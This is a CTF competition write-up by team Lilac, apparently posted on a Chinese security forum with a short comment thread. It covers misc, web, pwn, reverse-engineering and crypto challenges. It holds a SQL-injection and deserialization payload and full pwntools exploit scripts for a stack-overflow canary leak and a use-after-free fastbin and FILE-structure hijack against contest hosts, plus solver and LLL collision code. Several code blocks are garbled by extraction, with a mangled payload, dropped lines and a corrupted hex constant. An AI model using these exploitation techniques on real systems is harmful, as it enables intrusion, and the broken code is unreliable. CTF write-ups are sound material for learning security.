Lilac / 2018-08-21 16:15:18 / 浏览数 9710 安全技术 CTF 顶(2) 踩(0)

Team: Lilac

misc

[TOC]

签到

回复公众号即可

clip

- 对damaged.disk分析可知包含png图片,提取图片得到了两张图片.
- 修复png文件头,对图片还原PS等得到flag: flag{0b008070-eb72-4b99-abed-092075d72a40}

web

facebook

利用点: sql注入+反序列化+LFR payload:

 $/view.php?no=0/*123*/UniOn/*123*/select/*123*/0,1,2, \\ \$220:8:\\ \$22UserInfo\\ \$22:3:\\ \{s:4:\\ \$22name\\ \$22:s:5:\\ \$22lilac\\ \$22:s:3:\\ \$22age\\ \$22:s:5:\\ \$22name\\ \$22:s:5:\\ \$22:$

pwn

guess

• 程序把flag读在栈上,提供了栈溢出,但是有canary保护,看似没有其他漏洞了,很自然地想到了ssp leak,但是不知道栈地址。从程序提供3次输入机会想到可以先用got地址泄露libc,然后用libc上的environ泄露栈地址,然后算出得到的栈地址与flag的距离,最后拿fla

```
from pwn import *
for i in range(0x80, 0x180, 8):
p = process("./GUESS")
p.recvuntil("flag\n")
p.sendline("1" * i + p64(0x0400C90))
p.recvline()
x = p.recvline()
p.close()
print hex(i), x
environ = 0 \times 03C6F38
p = remote("106.75.90.160", 9999)
p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(0x602040))
print p.recvuntil("***: ")
read_offset = u64(p.recv(6).ljust(8, "\x00"))
libc = read_offset - 0x0000000000F7250
environ += libc
print hex(libc)
p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(environ))
print p.recvuntil("***: ")
stack = u64(p.recv(6).ljust(8, "\x00"))
print hex(stack)
p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(stack - 0x168))
print p.recvuntil("***: ")
```

```
print p.recvline()
p.close()
```

blind

release功能释放堆块后没有把指针置0,可以change中再次使用,存在uaf漏洞,可以用来修改fd做fastbin attack,以为没有提供leak,所以各种hook函数就别想了。stdin,stdout,stderr地址都是以0x7f开头,可以通过错位实现劫持,这里选择了stderr,然后就可以修改全局

```
from pwn import *
import struct
_IO_USE_OLD_IO_FILE = False
_BITS = 64
def _u64(data):
  return struct.unpack("<Q",data)[0]</pre>
def _u32(data):
  return struct.unpack("<I",data)[0]</pre>
def _u16(data):
  return struct.unpack("<H",data)[0]</pre>
def _u8(data):
  return ord(data)
def _usz(data):
   if _BITS == 32:
      return _u32(data)
   elif _BITS == 64:
       return _u64(data)
       print("[-] Invalid _BITS")
       exit()
def _ua(data):
   if _BITS == 32:
       return _u32(data)
   elif _BITS == 64:
       return _u64(data)
   else:
       print("[-] Invalid _BITS")
       exit()
def _p64(data):
  return struct.pack("<Q",data)
def _p32(data):
  return struct.pack("<I",data)
def _p16(data):
  return struct.pack("<H",data)
def _p8(data):
  return chr(data)
def _psz(data):
   if _BITS == 32:
      return _p32(data)
   elif _BITS == 64:
      return _p64(data)
      print("[-] Invalid _BITS")
       exit()
def _pa(data):
   if _BITS == 32:
      return struct.pack("<I", data)
   elif _BITS == 64:
```

```
return struct.pack("<Q", data)
  else:
      print("[-] Invalid _BITS")
      exit()
class _IO_FILE_plus:
  def __init__(self):
                                               # High-order word is _IO_MAGIC; rest is flags.
      self._flags = 0x00000000fbad2887
       self._IO_read_ptr = 0x602500  # Current read pointer
      self._IO_read_end = 0x602500  # End of get area
      self._IO_read_base = 0x602500 # Start of putback+get area
      self._IO_write_base = 0x602600 # Start of put area
      self._IO_write_ptr = 0x602600 # Current put pointer
      self._IO_write_end = 0x602600 # End of put area
      self._IO_buf_base = 0x602600  # Start of reserve area
       self._IO_buf_end = 0x602601  # End of reserve area
       # The following fields are used to support backing up and undo.
       self._IO_save_base = 0  # Pointer to start of non-current get area
       self._IO_backup_base = 0  # Pointer to first valid character of backup area
                                 # Pointer to end of non-current get area
       self._IO_save_end = 0
       self. markers = 0
      self._chain = 0
       self._fileno = 0
      self. flags2 = 0
       self._old_offset = 0
                            # This used to be _offset but it's too small
       # 1+column number of pbase(); 0 is unknown
      self._cur_column = 0
      self._vtable_offset = 0
      self.\_shortbuf = 0
      self._lock = 0x602700
       if not _IO_USE_OLD_IO_FILE:
          self._offset = 0
          self._codecvt = 0
          self._wide_data = 0
          self._freeres_list = 0
          self._freeres_buf = 0
          self.\_pad5 = 0
           self._mode = 0
           self.\_unused2 = [0 for i in range(15 * 4 - 5 * \_BITS / 8)]
       self.vtable = 0x602168
  def tostr(self):
      buf = _p64(self._flags & 0xffffffff) + \
          _pa(self._IO_read_ptr) + \
           _pa(self._IO_read_end) + \
           _pa(self._IO_read_base) + \
           _pa(self._IO_write_base) + \
           _pa(self._IO_write_ptr) + \
           _pa(self._IO_write_end) + \
           _pa(self._IO_buf_base) + \
           _pa(self._IO_buf_end) + \
           _pa(self._IO_save_base) + \
           _pa(self._IO_backup_base) + \
           _pa(self._IO_save_end) + \
           _pa(self._markers) + \
           _pa(self._chain) + \
           _p32(self._fileno) + \
           _p32(self._flags2) + 
           _p64(self._old_offset) + \
           _p16(self._cur_column) + \
           _p8(self._vtable_offset) + \
           _p8(self._shortbuf)
       if _BITS == 64:
```

```
buf += _p32(0)
                            buf += _pa(self._lock)
                             if not _IO_USE_OLD_IO_FILE:
                                            buf += \
                                             _{p64(self.\_offset)} + 
                                              _pa(self._codecvt) + \
                                             _pa(self._wide_data) + \
                                             _pa(self._freeres_list) + \
                                             _pa(self._freeres_buf) + \
                                              _{psz(self.}_{pad5)} + 
                                             _p32(self._mode) + \setminus
                                              \label{eq:condition} \begin{tabular}{ll} \be
                                             _pa(self.vtable)
                            return buf
            def __str__(self):
                            return self.tostr()
 #p = process("./blind")
p = remote("106.75.20.44",9999)
def new(index,content):
            p.recvuntil("Choice:")
            p.sendline('1')
            p.recvuntil("Index:")
            p.sendline(str(index))
            p.recvuntil("Content:")
            p.sendline(content)
def release(index):
            p.recvuntil("Choice:")
            p.sendline('3')
            p.recvuntil("Index:")
            p.sendline(str(index))
def change(index,content):
            p.recvuntil("Choice:")
            p.sendline('2')
            p.recvuntil("Index:")
            p.sendline(str(index))
            p.recvuntil("Content:")
            p.send(content)
new(0,'111')
new(1,'222')
release(0)
change(0,p64(0x60203d)+'\n')
new(2,"333")
\verb"new(3,"4"*19 + p64(0x602088) + p64(0x6020f0) + p64(0x602158) + p64(0x6021c0) + p64(0x602020))" + p64(0x602020)" + p64(0x602000)" + p64(0x6
s = _IO_FILE_plus().tostr()
print len(s)
change(0,s[0:0x68])
change(1,s[0x68:0xd0])
change(2,s[0xd0:] + p64(0)*2 + p64(0x4008E3)*9)
change(3,p64(0x4008E3)*13)
p.recvuntil("Choice:")
p.sendline("2")
p.recvuntil("Index:")
p.sendline('4')
p.recvuntil("Content:")
p.sendline(p64(0x602088))
p.sendline("your token")
p.interactive()
```

reverse

本题静态分析即可,flag在data段上被打乱放置,和程序的输出结果形成索引,根据输出结果推算出flag为:

```
flag{amazing_beijing}
```

blend

```
题目分析拿到的是个DOS/MBR boot sector, 根据之前做过的CSAW逆向题遇到过这种模式的题目,照着思路调试了一遍
```

```
xxx@xx ~/ctf/china/advanced file main.bin
main.bin: DOS/MBR boot sector
xxx@xx ~/ctf/china/advanced strings main.bin
flag
a} ==>
== ENTER FLAG ==
CORRECT!
!! WRONG FLAG !!
payload如下:
#!/usr/bin/env python
from pprint import pprint
from z3 import *
import struct
s = Solver()
ZERO = IntVal(0)
def z3_abs(x):
 return If(x >= 0, x, -x)
def psadbw(xmm1, xmm2):
 first = Sum([z3\_abs(b1 - b2) for b1,b2 in zip(xmm1[:8], xmm2[:8])])
 second = Sum([z3_abs(b1 - b2) for b1,b2 in zip(xmm1[8:], xmm2[8:])])
 return (first, second)
[0x2DD02F6, 0x2DC02E8, 0x2D802ED, 0x2CE02E2, 0x2C402E2, 0x2D402DB, 0x2D902CD, 0x3110304]
results = [
  (0x02dd, 0x02f6),
 (0x02dc, 0x02e8),
 (0x02d8, 0x02ed),
 (0x02ce, 0x02e2),
 (0x02c4, 0x02e2),
 (0x02d4, 0x02db),
 (0x02d9, 0x02cd),
 (0x0311, 0x0304)
] [::-1]
_xmm5s = [
  [0xb8, 0x13, 0x00, 0xcd, 0x10, 0x0f, 0x20, 0xc0, 0x83, 0xe0, 0xfb, 0x83, 0xc8, 0x02, 0x0f, 0x22],
1
for x in _results[:-1]:
  _xmm5s.append(list(map(ord, struct.pack('<Q', x[0]) + struct.pack('<Q', x[1]))))
xmm5s = [ [IntVal(x) for x in row] for row in _xmm5s ]
results = [ [IntVal(x) for x in row] for row in _results ]
f = [Int('flag{:02}'.format(i)) for i in range(16)]
for char in f:
  s.add(char > 30, char < 127)
for i in range(8):
  xmm5 = xmm5s[i]
  xmm2 = list(f)
 xmm2[i] = ZERO
  xmm2[i+8] = ZERO
 high,low = psadbw(xmm5, xmm2)
  s.add(high == results[i][0])
  s.add(low == results[i][1])
print(s.check())
m = s.model()
```

```
sats = []
for d in m.decls():
 if 'flag' in d.name():
      solution += chr(m[d].as_long())
      sats.append((int(d.name()[4:]), chr(m[d].as_long())))
sats = sorted(sats, key=lambda x: x[0])
sats = [s[1] for s in sats]
flag = ''.join(sats)
# unshuffle the flag
flag = flag[12:] + flag[8:12] + flag[:8]
print('flag{%s}' % flag)
得到flag:
flag{mbr_is_funny__eh}
advanced(solved after ctf)
老年misc选手,看到输出得到加密后的flag:4b404c4b5648725b445845734c735949405c414d5949725c45495a51
像是异或flag后的结果
import libnum
In [97]: libnum.n2s(0x4b404c4b5648725b445845734c735949405c414d5949725c45495a51)
Out[97]: 'K@LKVHr[DXEsLsYI@\\AMYIr\\EIZQ'
猜测:In [93]: ord("f")^0x4b
Out[93]: 45
In [94]: ord("g")^0x4b
Out[94]: 44
In [95]: ord("l")^0x40
Out[95]: 44
In [96]: ord("a")^0x4c
Out[96]: 45
xor key 为45,44
 \hbox{In [98]: enc = libnum.n2s(0x4b404c4b5648725b445845734c735949405c414d5949725c45495a51)} \\
In [99]: flag = ""
In [102]: for i in range(len(enc)):
           if i%2==0:
    . . . :
                flag+=chr(ord(enc[i])^45)
    . . . :
            else:
    . . . :
                 flag+=chr(ord(enc[i])^44)
    . . . :
    . . . :
    . . . :
In [103]: print flag
\verb|flag| \{ \verb|d_with_a_template_phew| \}
crypto
hashcoll
题目文件以及描述:Sometime, you wonder why you rEad the Description Because it may contain something useless.
nc 117.50.1.201 9999
#!/usr/bin/env python2
FLAG = "aaa"
\verb|h0| = 45740974929179720441799381904411404011270459520712533273451053262137196814399
```

solution = ''

2**168 + 355

```
def shitty_hash(msg):
 h = h0
 msg = map(ord, msg)
 for i in msg:
    h = (h + i)*g
     \# This line is just to screw you up :))
     #print h
 return h - 0xe6168647f636
if __name__ == '__main_
  try:
     introduction = """
            .----.
     . --.
           | __\
     | \|
     /_//
     | /
     I never want to create challenges that people can grab random scripts to solve it. Nah
     print introduction
     m1 = raw_input('m1 : ')
     m2 = raw_input('m2 : ')
     assert m1 != m2
     \#print "ml = \{!r\}".format(ml)
     \#print "m2 = {!r}".format(m2)
     hash1 = shitty_hash(m1)
     hash2 = shitty_hash(m2)
     if hash1 == hash2:
        print "\nThe flag is simple, it is 'the flag' :)) "
         print FLAG
     else:
         print 'Wrong.'
  except:
     print "Take your time to think of the inputs."
题目分析:
通过对hash函数的展开发现h0对碰撞结果没有影响:
也给出了提示.
In [92]: libnum.n2s(45740974929179720441799381904411404011270459520712533273451053262137
  ...: 196814399)
Out[92]: 'e you ever see something weird ?'
\$\$ shitty\_hash(x\_1,x\_2,...,x\_n) = h\_0g^n+x\_1g^n+x\_2g^{n-1}+...+x\_ng \setminus mod \setminus 2^{256} \$\$
为了找到hash值相同的两个message.我们需要找到$a_1g^n+a_2g^{n-1}+...+a_ng \ mod \ 2^{256}$和$b_1g^n+b_2g^{n-1}+...+b_ng \ mod \
2^{256}$的两个线性组合. ${a_1,...,a_n}$和${b_1,...,b_n}$为两个message,并且$a_i$和$b_i$属于${0,...,255}$,我们可以假设m1固定,
则找到一组$c_1g^n+c_2g^{n-1}+...+c_ng \ mod \ 2^{256} = 0$ 则可以找到m2, $b_i = a_i+c_i$,
其中$a_i$已知(m1固定),则$c_i$的范围为$0<=a_i+c_i<=255$并且为整数.从而得到hash碰撞.
为了找到这样的一组满足条件的$c_i$,其中$c_i$都很小,我想到了用LLL算法解决SVP问题.
矩阵构造参考
构造矩阵如下
$$
\begin{matrix}
Kg^n & 1 & 0 & 0 & ... & 0 \
Kg^{n-1} \& 0 \& 1 \& 0 \& ... \& 0 \\ \\
```

q = 374144419156711147060143317175368453031918731002211L

```
Kg^{n-2} & 0 & 0 & 1 & ... & 0 \\
Kg& 0 & 0 & 0&... & 1 \
K2^{256} & 0 & 0 & 0 & ... & 0
\end{matrix}
当我们的K足够大时, reduced rows xxx[0] == 0,并且$c_i$ = xxx[i+1],当n足够大,找到的xxx中的每个元素就很小,从而满足$0<=a_i+c_i<=255$
关于LLL算法作用太多了,其原理我也不清楚,自行google
reference:
https://latticehacks.cr.yp.to/slides-dan+nadia+tanja-20171228-latticehacks-16x9.pdf
https://cseweb.ucsd.edu/~daniele/CSE207C/
实现:(sage 脚本)
from sage.all import *
mod = 2**256
\verb+h0=45740974929179720441799381904411404011270459520712533273451053262137196814399
g = 2**168 + 355
K = 2**256
base = map(ord, "7feilee"*8)
N = len(base)
m = matrix(ZZ, N + 1, N + 2)
for i in xrange(N):
  ge = pow(g, N-i, mod)
  m[i,0] = ge
  m[i,1+i] = 1
m[N,0] = mod
for i in xrange(N+1):
  m[i,0] *= K
ml = m.LLL()
ttt = ml.rows()[0]
print "result:", ttt
if ttt[0] != 0:
  print "Error"
  exit()
if not base:
  base = [BASE] * N
msg = []
for i in range(N):
  msg.append(base[i] + ttt[1+i])
  if not (0 \le msg[-1] \le 255):
      print "Need more bytes!"
      quit()
def shitty_hash(msg):
  h = h0
  for i in msg:
      h = (h + i)*g
      # This line is just to screw you up :))
      #print h
  return h - 0xe6168647f636
def pure_hash(msg):
  h = 0
  for i in msg:
      h = (h + i)*g
      # This line is just to screw you up :))
      return h
```

```
print base
print "m1:", "".join(map(chr, base))
print hex(shitty_hash(base)), shitty_hash(base)
print msg
diff = [i-j for i,j in zip(msg,base)]
print diff
print hex(pure_hash(diff))
print "m2:", "".join(map(chr, msg))
print hex(shitty_hash(msg)), shitty_hash(msg)
result: (0, 2, 10, 0, 14, 12, 6, -9, 5, -1, 10, 14, 7, 4, -7, -9, 1, -6, -11, -2, 4, 5, -9, -3, -7, -12, -18, -2, 9, -6, 20, 1
linear combination 1:[55, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108, 101, 101, 55
m1: 7feilee7feilee7feilee7feilee7feilee7feilee7feilee
linear combination 1+linear combination 2:[57, 112, 101, 119, 120, 107, 92, 60, 101, 111, 119, 115, 105, 94, 46, 103, 95, 94,
linear combination 2:[2, 10, 0, 14, 12, 6, -9, 5, -1, 10, 14, 7, 4, -7, -9, 1, -6, -11, -2, 4, 5, -9, -3, -7, -12, -18, -2, 9,
0 # pure_hash(linear combination 2 == 0), which cause the collision
m2: 9pewxk\<eowsi^.g_^jij.c^]Zcn1zslj[Z/[afimc5_oje_f4[egjXb</pre>
from pwn import *
import random
import re
import libnum
import string
from hashlib import *
import itertools
context.log_level = "debug"
io = remote("117.50.1.201",9999)
io.recv()
io.sendline("7feilee7feilee7feilee7feilee7feilee7feilee7feilee7feilee7feilee")
io.recvuntil('m2 : ')
io.sendline("9pewxk\<eowsi^.g_^jij.c^]Zcnlzslj[Z/[afimc5_oje_f4[egjXb")</pre>
io.recv()
io.recv()
io.recv()
1.1.1
    '\n'
  "The flag is simple, it is 'the flag' :)) \n"
  flag\{b78017f6-90b1-486b-9f12-67d17cdcbfca\}\n'
flag:flag{b78017f6-90b1-486b-9f12-67d17cdcbfca}
wp_Lilac.pdf (0.654 MB) 下载附件
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1. 9条回复
         p4nda 2018-08-21 17:11:12
  这个_IO_FILE_PLUS结构体构造的写法很有意思啊, 抄走了。
```

0 回复Ta

王一航 2018-08-21 17:12:07

膜拜 7feilee 师傅, 一人顶十个队

0 回复Ta



Lilac 2018-08-21 17:47:55

@王一航 航神,吾其菜...夜不能寐

0 回复Ta



Lilac 2018-08-21 17:48:23

@p4nda 大佬好

0 回复Ta



<u>一叶飘零</u> 2018-08-21 22:19:59

师傅巨强!!!!

0 回复Ta



p4nda 2018-08-21 22:24:24

@Lilac 膜大佬

0 回复Ta



Lilac 2018-08-22 23:10:30

@一叶飘零 膜师傅

0 回复Ta



Lilac 2018-08-22 23:36:03

上传了PDF版,解决mark down问题

0 回复Ta



misak**** 2018-08-26 17:47:53

这就是强者的世界吗

0 回复Ta

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